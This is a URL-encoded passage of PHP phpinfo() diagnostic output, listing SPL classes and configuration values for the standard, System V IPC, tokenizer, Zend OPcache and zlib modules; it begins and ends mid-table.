%20ArrayIterator%2C%20ArrayObject%2C%20BadFunctionCallException%2C%20BadMethodCallException%2C%20CachingIterator%2C%20CallbackFilterIterator%2C%20DirectoryIterator%2C%20DomainException%2C%20EmptyIterator%2C%20FilesystemIterator%2C%20FilterIterator%2C%20GlobIterator%2C%20InfiniteIterator%2C%20InvalidArgumentException%2C%20IteratorIterator%2C%20LengthException%2C%20LimitIterator%2C%20LogicException%2C%20MultipleIterator%2C%20NoRewindIterator%2C%20OutOfBoundsException%2C%20OutOfRangeException%2C%20OverflowException%2C%20ParentIterator%2C%20RangeException%2C%20RecursiveArrayIterator%2C%20RecursiveCachingIterator%2C%20RecursiveCallbackFilterIterator%2C%20RecursiveDirectoryIterator%2C%20RecursiveFilterIterator%2C%20RecursiveIteratorIterator%2C%20RecursiveRegexIterator%2C%20RecursiveTreeIterator%2C%20RegexIterator%2C%20RuntimeException%2C%20SplDoublyLinkedList%2C%20SplFileInfo%2C%20SplFileObject%2C%20SplFixedArray%2C%20SplHeap%2C%20SplMinHeap%2C%20SplMaxHeap%2C%20SplObjectStorage%2C%20SplPriorityQueue%2C%20SplQueue%2C%20SplStack%2C%20SplTempFileObject%2C%20UnderflowException%2C%20UnexpectedValueException%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_standard%22%20href%3D%22%23module_standard%22%3Estandard%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EDynamic%20Library%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPath%20to%20sendmail%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fusr%2Fsbin%2Fsendmail%20-t%20-i%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eassert.active%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eassert.bail%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eassert.callback%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eassert.exception%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eassert.warning%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eauto_detect_line_endings%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edefault_socket_timeout%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E60%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E60%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Efrom%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.trans_sid_hosts%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esession.trans_sid_tags%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ea%3Dhref%2Carea%3Dhref%2Cframe%3Dsrc%2Cform%3D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ea%3Dhref%2Carea%3Dhref%2Cframe%3Dsrc%2Cform%3D%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eunserialize_max_depth%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E4096%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E4096%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eurl_rewriter.hosts%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eurl_rewriter.tags%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eform%3D%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eform%3D%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Euser_agent%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_sysvmsg%22%20href%3D%22%23module_sysvmsg%22%3Esysvmsg%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esysvmsg%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_sysvsem%22%20href%3D%22%23module_sysvsem%22%3Esysvsem%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esysvsem%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_sysvshm%22%20href%3D%22%23module_sysvshm%22%3Esysvshm%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esysvshm%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_tokenizer%22%20href%3D%22%23module_tokenizer%22%3Etokenizer%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ETokenizer%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_zend%2Bopcache%22%20href%3D%22%23module_zend%2Bopcache%22%3EZend%20OPcache%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOpcode%20Caching%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EUp%20and%20Running%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOptimization%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EEnabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESHM%20Cache%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EEnabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EFile%20Cache%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EDisabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EJIT%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EDisabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EStartup%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOK%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EShared%20memory%20model%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Emmap%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ECache%20hits%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E278280%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ECache%20misses%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EUsed%20memory%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E9170872%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EFree%20memory%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E125046856%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EWasted%20memory%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EInterned%20Strings%20Used%20memory%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2307080%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EInterned%20Strings%20Free%20memory%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E6081528%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ECached%20scripts%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ECached%20keys%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EMax%20keys%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E16229%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EOOM%20restarts%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EHash%20keys%20restarts%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EManual%20restarts%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.blacklist_filename%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.consistency_checks%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.dups_fix%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.enable%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.enable_cli%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.enable_file_override%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.error_log%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.file_cache%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.file_cache_consistency_checks%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.file_cache_only%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.file_update_protection%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.force_restart_timeout%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E180%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E180%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.huge_code_pages%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.interned_strings_buffer%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_bisect_limit%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_blacklist_root_trace%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E16%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E16%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_blacklist_side_trace%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_buffer_size%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_debug%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_hot_func%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E127%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E127%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_hot_loop%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E64%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E64%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_hot_return%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_hot_side_exit%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_max_exit_counters%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8192%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8192%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_max_loop_unrolls%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_max_polymorphic_calls%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_max_recursive_calls%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_max_recursive_returns%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_max_root_traces%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1024%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1024%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_max_side_traces%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E128%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E128%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.jit_prof_threshold%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0.005%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0.005%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.lockfile_path%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Ftmp%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Ftmp%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.log_verbosity_level%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.max_accelerated_files%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E10000%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E10000%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.max_file_size%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.max_wasted_percentage%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E5%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E5%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.memory_consumption%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E128%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E128%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.opt_debug_level%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.optimization_level%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0x7FFEBFFF%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0x7FFEBFFF%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.preferred_memory_model%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.preload%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.preload_user%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.protect_memory%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.record_warnings%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.restrict_api%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.revalidate_freq%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.revalidate_path%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.save_comments%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.use_cwd%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.validate_permission%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.validate_root%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopcache.validate_timestamps%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_zlib%22%20href%3D%22%23module_zlib%22%3Ezlib%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EZLib%20Support%3C%2Fth%3E%3Cth%3Eenabled%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EStream%20Wrapper%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ecompress.zlib%3A%2F%2F%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EStream%20Filter%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ezlib.inflate%2C%20zlib.deflate%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ECompiled%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1.2.13%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ELinked%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1.2.13%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ezlib.output_compression%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ezlib.output_compression_level%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E-1%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E-1%3C